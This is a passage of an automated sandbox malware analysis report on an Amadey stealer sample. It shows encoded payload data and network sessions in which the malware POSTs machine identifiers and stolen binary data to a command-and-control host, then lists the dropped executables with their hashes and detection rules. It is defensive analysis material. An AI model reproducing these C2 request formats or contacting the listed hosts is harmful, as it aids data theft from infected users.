Gx/YOeHiXJ0xOGMsnjuQCi1flvn3iD9XvFtUJ+dc38VPa+x5kAY5SSN40ozKmqSrec+G/cI8W/OYGxVjchgNxd+r/Dmhdi0d18iyLD4/5Yq4L5fJE5g/h7ge4OfWvF81T7tseVDGWUgTSDI8+ro0G9kPNk1CPR7XTFuEI3N4D6SLHrg7wRZoGVP8U7jbrmSbfVpiPfLs/0cMq9SnN5zfZe/7rPkQpig545jS7KpqpDuIf9Yp9ug/hvge4OUEr33
2024-12-23 16:19:04 UTC	1369	IN	Data Raw: 4e 32 51 46 39 30 63 74 38 71 53 66 4d 71 4f 5a 52 39 59 79 2b 5a 4e 4e 67 6d 37 39 77 79 62 35 41 64 48 2f 4c 38 56 7a 77 75 73 57 63 44 6d 4b 65 6c 44 57 43 4a 4d 57 78 6f 55 4f 79 6c 66 56 71 31 53 54 43 39 44 65 50 39 6b 6c 76 4f 5a 69 39 59 76 61 6c 30 35 70 47 65 74 2b 4b 66 49 49 6f 67 2f 76 6d 51 36 6d 55 2b 33 48 62 4c 38 6a 74 66 4d 65 32 53 32 56 2b 7a 50 64 66 38 72 76 4f 6d 67 35 33 6b 5a 34 38 6c 7a 62 46 71 4b 67 4f 39 64 58 35 65 35 39 34 67 38 35 67 79 76 5a 52 4f 57 43 41 2b 6c 79 78 36 34 4f 61 44 47 69 66 67 54 69 44 4c 38 43 74 72 6b 75 7a 6b 66 52 75 30 43 76 4a 39 6e 2f 42 75 55 74 2f 63 73 62 7a 55 66 65 2f 7a 74 6c 49 4a 5a 61 4c 66 4e 31 6b 35 4c 6d 72 53 4b 79 45 79 32 54 66 63 59 50 67 4f 64 6a 32 53 58 73 35 6d 4c 31 64 2f 62 Data Ascii: N2QF90ct8qSfMqOZR9Yy+ZNNgm79wyb5AdH/L8VzwusWcDmKelDWCJMWxoUOylfVq1STC9DeP9klvOZi9Yval05pGet+KfIIog/vmQ6mU+3HbL8jtfMe2S2V+zPdf8rvOmg53kZ48lzbFqKgO9dX5e594g85gyvZROWCA+lyx64OaDGifgTiDL8CtrkuzkfRu0CvJ9n/BuUt/csbzUfe/ztlIJZaLfN1k5LmrSKyEy2TfcYPgOdj2SXs5mL1d/b
2024-12-23 16:19:04 UTC	1369	IN	Data Raw: 61 49 76 54 49 38 73 39 67 36 53 71 44 75 50 56 38 47 37 5a 49 63 4c 33 66 38 47 77 52 48 4e 36 79 66 35 58 2b 4c 58 49 6d 67 78 71 6c 70 55 34 68 53 2f 45 72 61 42 4c 73 4a 79 2b 4c 5a 38 6e 32 37 38 76 67 5a 42 74 5a 57 76 79 38 31 50 71 38 39 7a 58 48 79 57 57 6e 33 7a 64 5a 4d 69 72 71 56 79 2b 6e 50 5a 6e 31 69 44 48 39 58 72 47 74 6b 74 36 66 4d 54 7a 56 50 61 7a 7a 35 59 42 62 5a 36 58 50 49 70 6b 6a 65 4f 68 56 76 76 4e 76 6b 50 55 4e 75 4c 78 66 4e 50 32 55 54 6c 67 67 50 70 63 73 65 75 44 6c 77 39 6b 6d 5a 30 77 6a 53 44 52 6f 36 31 48 74 4a 54 78 59 39 77 68 79 66 64 6c 78 37 5a 46 66 33 37 49 2b 56 37 6a 73 73 7a 5a 53 43 57 57 69 33 7a 64 5a 50 4b 31 6f 55 6d 30 31 39 64 6b 78 43 48 4a 2f 48 7a 4e 39 6c 45 35 59 49 44 36 58 4c 48 72 67 35 51 Data Ascii: aIvTI8s9g6SqDuPV8G7ZIcL3f8GwRHN6yf5X+LXImgxqlpU4hS/EraBLsJy+LZ8n278vgZBtZWvy81Pq89zXHyWWn3zdZMirqVy+nPZn1iDH9XrGtkt6fMTzVPazz5YBbZ6XPIpkjeOhVvvNvkPUNuLxfNP2UTlggPpcseuDlw9kmZ0wjSDRo61HtJTxY9whyfdlx7ZFf37I+V7jsszZSCWWi3zdZPK1oUm019dkxCHJ/HzN9lE5YID6XLHrg5Q
2024-12-23 16:19:04 UTC	1369	IN	Data Raw: 53 58 46 49 38 2f 6a 2f 67 36 77 6d 2f 74 69 30 79 72 45 38 57 58 41 76 45 4a 32 66 73 66 32 51 76 71 68 79 4a 45 46 61 35 6d 61 50 49 73 6b 77 71 36 6d 44 76 58 56 2b 58 75 66 65 49 50 61 56 4e 61 67 52 44 56 61 31 2b 74 61 39 72 2f 56 6b 67 64 6d 68 35 34 73 78 57 71 44 73 71 46 66 2b 38 33 6f 63 38 67 6e 33 4c 46 75 67 62 46 43 4e 79 47 41 39 6c 2f 2f 76 73 69 64 44 32 43 5a 6b 44 6d 41 4c 73 2b 76 70 30 61 79 6e 2f 74 6d 32 53 72 41 38 58 6a 41 75 6b 70 2b 64 38 6d 39 48 72 47 30 32 39 6c 65 4a 61 65 44 4f 35 30 70 30 2b 47 55 54 61 71 45 36 32 37 50 4a 6f 48 51 64 4d 32 31 53 33 42 70 67 4f 49 65 36 50 50 45 6c 55 59 39 30 5a 4d 34 69 53 66 45 72 61 6c 44 74 4a 4c 31 62 4e 55 75 30 66 42 79 79 62 70 47 65 6d 76 4b 39 30 4c 34 75 73 36 58 44 6e 65 53 Data Ascii: SXFI8/j/g6wm/ti0yrE8WXAvEJ2fsf2QvqhyJEFa5maPIskwq6mDvXV+XufeIPaVNagRDVa1+ta9r/Vkgdmh54sxWqDsqFf+83oc8gn3LFugbFCNyGA9l//vsidD2CZkDmALs+vp0ayn/tm2SrA8XjAukp+d8m9HrG029leJaeDO50p0+GUTaqE627PJoHQdM21S3BpgOIe6PPElUY90ZM4iSfEralDtJL1bNUu0fByybpGemvK90L4us6XDneS
2024-12-23 16:19:04 UTC	1369	IN	Data Raw: 62 52 70 61 56 59 75 4e 4c 41 58 66 38 72 31 66 35 36 79 72 70 77 53 57 7a 44 38 31 37 32 70 64 4c 5a 53 43 57 65 30 32 53 38 5a 49 76 6a 6d 51 44 37 6a 62 34 37 6e 78 58 41 38 58 6e 47 6f 46 38 36 57 63 76 72 55 66 79 34 7a 39 73 48 61 49 47 55 66 4d 74 6b 78 65 50 2b 48 76 58 56 2b 6e 4b 66 65 4a 4f 74 4c 4a 54 6c 47 53 63 72 33 37 4e 4a 73 61 57 44 77 56 51 72 30 59 46 38 33 57 53 45 6f 4c 52 63 76 5a 62 6f 59 4a 67 65 2f 64 39 38 7a 62 56 43 64 6e 36 41 73 78 44 2b 38 35 75 67 52 6d 61 44 67 58 4f 55 4d 73 36 7a 6f 51 4b 7a 68 50 4e 76 6e 32 36 44 73 33 50 4b 75 6b 74 77 61 59 2f 76 51 50 71 2f 31 64 55 43 64 39 48 64 66 4a 51 76 7a 4c 47 6f 53 66 53 45 36 47 37 50 49 38 62 34 4f 38 6d 6e 51 33 73 35 6a 72 31 46 2b 72 2f 46 6c 42 4d 71 67 49 55 2f 6b Data Ascii: bRpaVYuNLAXf8r1f56yrpwSWzD8172pdLZSCWe02S8ZIvjmQD7jb47nxXA8XnGoF86WcvrUfy4z9sHaIGUfMtkxeP+HvXV+nKfeJOtLJTlGScr37NJsaWDwVQr0YF83WSEoLRcvZboYJge/d98zbVCdn6AsxD+85ugRmaDgXOUMs6zoQKzhPNvn26Ds3PKuktwaY/vQPq/1dUCd9HdfJQvzLGoSfSE6G7PI8b4O8mnQ3s5jr1F+r/FlBMqgIU/k
2024-12-23 16:19:04 UTC	1369	IN	Data Raw: 74 57 4c 7a 56 77 53 32 66 4f 49 4f 6e 4e 2f 53 31 51 48 6c 2b 31 75 77 64 31 37 44 45 6e 77 56 72 68 6f 4a 38 79 32 54 46 34 2f 34 63 39 64 58 36 63 70 39 34 6b 36 30 73 6c 4f 55 5a 4a 79 76 66 73 30 6d 78 70 59 50 42 56 53 76 52 67 58 7a 64 5a 49 53 74 71 30 2b 34 6d 2f 31 78 7a 53 62 41 36 58 53 47 69 48 42 53 64 4d 33 34 58 76 61 4e 2f 62 67 4d 64 5a 79 63 4f 37 73 61 39 4c 4b 68 58 76 6d 7a 2f 58 58 63 59 49 32 2f 62 34 48 75 44 6c 5a 7a 30 50 42 66 39 76 4f 4e 32 51 49 6c 79 64 4d 5a 69 43 6e 47 72 61 45 4d 6d 70 2f 75 62 74 41 6e 67 37 45 33 7a 66 59 57 4e 33 6a 4b 37 56 33 2b 74 49 2b 65 48 47 4c 52 33 58 79 4c 5a 4a 76 6a 70 30 53 72 6d 50 46 6b 6b 79 62 4e 38 54 66 65 2b 46 63 33 62 34 43 6c 41 37 2f 7a 30 64 6c 65 4a 64 61 64 4d 59 51 6e 7a 61 Data Ascii: tWLzVwS2fOIOnN/S1QHl+1uwd17DEnwVrhoJ8y2TF4/4c9dX6cp94k60slOUZJyvfs0mxpYPBVSvRgXzdZIStq0+4m/1xzSbA6XSGiHBSdM34XvaN/bgMdZycO7sa9LKhXvmz/XXcYI2/b4HuDlZz0PBf9vON2QIlydMZiCnGraEMmp/ubtAng7E3zfYWN3jK7V3+tI+eHGLR3XyLZJvjp0SrmPFkkybN8Tfe+Fc3b4ClA7/z0dleJdadMYQnza

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49936	104.21.63.229	443	5860	C:\Users\user\AppData\Local\Temp\370821\Sale.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:19:09 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=14OAJLYZ3N User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12794 Host: fannleadyn.click
2024-12-23 16:19:09 UTC	12794	OUT	Data Raw: 2d 2d 31 34 4f 41 4a 4c 59 5a 33 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 42 30 39 36 39 42 35 33 41 42 32 38 39 38 32 41 31 36 31 33 34 35 43 44 30 41 37 31 45 37 0d 0a 2d 2d 31 34 4f 41 4a 4c 59 5a 33 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 34 4f 41 4a 4c 59 5a 33 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 6c 33 0d 0a 2d 2d 31 34 4f 41 4a 4c 59 5a 33 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --14OAJLYZ3NContent-Disposition: form-data; name="hwid"EBB0969B53AB28982A161345CD0A71E7--14OAJLYZ3NContent-Disposition: form-data; name="pid"2--14OAJLYZ3NContent-Disposition: form-data; name="lid"jMw1IE--l3--14OAJLYZ3NContent-Dis
2024-12-23 16:19:10 UTC	1128	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:19:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=etmupdjm72o6n5jn1u7nlgjo5e; expires=Fri, 18 Apr 2025 10:05:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pKED664aglj5DMjN9d9%2FUSirIgw%2F7ZiwsuvUyARXKM8BUvcThjcQHFfraQcW7UfONokLm3zA%2Fpu%2F9FudN7Q4rWiHzbEkeapZ6CPCzCaW2v9NxzN90B1NCslKI5lnggkpYFwZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69abf16c190f3b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1487&min_rtt=1483&rtt_var=565&sent=10&recv=17&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13726&delivery_rate=1923583&cwnd=215&unsent_bytes=0&cid=d914308792b7a7cd&ts=1241&x=0"
2024-12-23 16:19:10 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 16:19:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49943	104.21.63.229	443	5860	C:\Users\user\AppData\Local\Temp\370821\Sale.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:19:12 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XSC62WCM6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15006 Host: fannleadyn.click
2024-12-23 16:19:12 UTC	15006	OUT	Data Raw: 2d 2d 58 53 43 36 32 57 43 4d 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 42 30 39 36 39 42 35 33 41 42 32 38 39 38 32 41 31 36 31 33 34 35 43 44 30 41 37 31 45 37 0d 0a 2d 2d 58 53 43 36 32 57 43 4d 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 53 43 36 32 57 43 4d 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 6c 33 0d 0a 2d 2d 58 53 43 36 32 57 43 4d 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 Data Ascii: --XSC62WCM6Content-Disposition: form-data; name="hwid"EBB0969B53AB28982A161345CD0A71E7--XSC62WCM6Content-Disposition: form-data; name="pid"2--XSC62WCM6Content-Disposition: form-data; name="lid"jMw1IE--l3--XSC62WCM6Content-Disposi
2024-12-23 16:19:13 UTC	1121	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:19:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=020n65bt1dairm4uc51ebpp866; expires=Fri, 18 Apr 2025 10:05:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3zcQ2GG0LsrpMFy3Cs%2FBmeRN6C8f05NJ7Ut1WUc5llavZ6JIXtyqqUKmxxuklvQYgCP0kANJJTiNoTqqywrVAKGlVzpIfWx5cqJauM8FDM68Juesf8n50NOhmzAhdwIeM63V"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69ac048eb8185d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1488&min_rtt=1476&rtt_var=579&sent=15&recv=20&lost=0&retrans=0&sent_bytes=2838&recv_bytes=15937&delivery_rate=1849271&cwnd=238&unsent_bytes=0&cid=16d3bff086f7db73&ts=939&x=0"
2024-12-23 16:19:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 16:19:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49964	104.21.63.229	443	5860	C:\Users\user\AppData\Local\Temp\370821\Sale.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:19:18 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SM1WXJY2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20516 Host: fannleadyn.click
2024-12-23 16:19:18 UTC	15331	OUT	Data Raw: 2d 2d 53 4d 31 57 58 4a 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 42 30 39 36 39 42 35 33 41 42 32 38 39 38 32 41 31 36 31 33 34 35 43 44 30 41 37 31 45 37 0d 0a 2d 2d 53 4d 31 57 58 4a 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 53 4d 31 57 58 4a 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 6c 33 0d 0a 2d 2d 53 4d 31 57 58 4a 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e Data Ascii: --SM1WXJY2Content-Disposition: form-data; name="hwid"EBB0969B53AB28982A161345CD0A71E7--SM1WXJY2Content-Disposition: form-data; name="pid"3--SM1WXJY2Content-Disposition: form-data; name="lid"jMw1IE--l3--SM1WXJY2Content-Disposition
2024-12-23 16:19:18 UTC	5185	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 73 7d 51 30 b7 ee a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 ae 3f 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce f5 45 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 fe 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a d7 17 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 fa a3 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb 5c Data Ascii: s}Q0u?4E([:s~X`nO\
2024-12-23 16:19:19 UTC	1122	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:19:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fu7nsb4as2nedfcvegomt15b06; expires=Fri, 18 Apr 2025 10:05:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WbvgFsKMPA0RDryXJxqXgLluUXoLz8kYfXGuEaTs4k6UIpHIEJy68HIg6Y353LBysIlCErvYIkk8iEHQHI0eZgjSgs2dBQzF5mDSZcxqfWwmDdiKEzCp46ffGpAX0Np101J%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69ac2cc85b4268-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1710&min_rtt=1695&rtt_var=666&sent=18&recv=27&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21468&delivery_rate=1607929&cwnd=252&unsent_bytes=0&cid=e01197fad9c7862c&ts=1083&x=0"
2024-12-23 16:19:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 16:19:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49982	104.21.63.229	443	5860	C:\Users\user\AppData\Local\Temp\370821\Sale.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:19:26 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8KJBEBFJ3NZJTNK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7119 Host: fannleadyn.click
2024-12-23 16:19:26 UTC	7119	OUT	Data Raw: 2d 2d 38 4b 4a 42 45 42 46 4a 33 4e 5a 4a 54 4e 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 42 30 39 36 39 42 35 33 41 42 32 38 39 38 32 41 31 36 31 33 34 35 43 44 30 41 37 31 45 37 0d 0a 2d 2d 38 4b 4a 42 45 42 46 4a 33 4e 5a 4a 54 4e 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 4b 4a 42 45 42 46 4a 33 4e 5a 4a 54 4e 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 6c 33 0d 0a 2d 2d 38 4b 4a 42 45 42 46 4a Data Ascii: --8KJBEBFJ3NZJTNKContent-Disposition: form-data; name="hwid"EBB0969B53AB28982A161345CD0A71E7--8KJBEBFJ3NZJTNKContent-Disposition: form-data; name="pid"1--8KJBEBFJ3NZJTNKContent-Disposition: form-data; name="lid"jMw1IE--l3--8KJBEBFJ
2024-12-23 16:19:26 UTC	1128	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:19:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f3eto004ps2n5hp62e8rhhsufl; expires=Fri, 18 Apr 2025 10:06:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bkwa%2FN3tsDEtfPLe8dEw1Pc%2F6OtIzREOJsd2mp75tpzwmX2HvM42iIj4DxJjSIqAqBUFw%2BnSWc8vuiYoM5nSKrQ%2BfX2P5sgwbIkVsLDubsxAd9QEJHmvvMPuySBC7a%2FYj3H8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69ac598da91861-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5416&min_rtt=1622&rtt_var=3021&sent=9&recv=15&lost=0&retrans=0&sent_bytes=2838&recv_bytes=8033&delivery_rate=1800246&cwnd=188&unsent_bytes=0&cid=55f24eb64f62261c&ts=827&x=0"
2024-12-23 16:19:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 16:19:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	11:15:16
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\fkawMJ7FH8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fkawMJ7FH8.exe"
Imagebase:	0xbf0000
File size:	1'897'472 bytes
MD5 hash:	F6DDA666A364B3EBD7628CBAD0601CB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1414576458.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1455461055.0000000000BF1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:15:20
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0x530000
File size:	1'897'472 bytes
MD5 hash:	F6DDA666A364B3EBD7628CBAD0601CB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1453967933.0000000005010000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1494297812.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:16:00
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x530000
File size:	1'897'472 bytes
MD5 hash:	F6DDA666A364B3EBD7628CBAD0601CB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.1848493661.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.3893208410.0000000000531000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	11:16:08
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001527001\legs.exe"
Imagebase:	0x930000
File size:	776'832 bytes
MD5 hash:	75CF470500D65CE4411790E09E650806
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:16:08
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:16:11
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1004899001\am209.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004899001\am209.exe"
Imagebase:	0x120000
File size:	439'808 bytes
MD5 hash:	CE27255F0EF33CE6304E54D171E6547C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe, Author: Joe Security
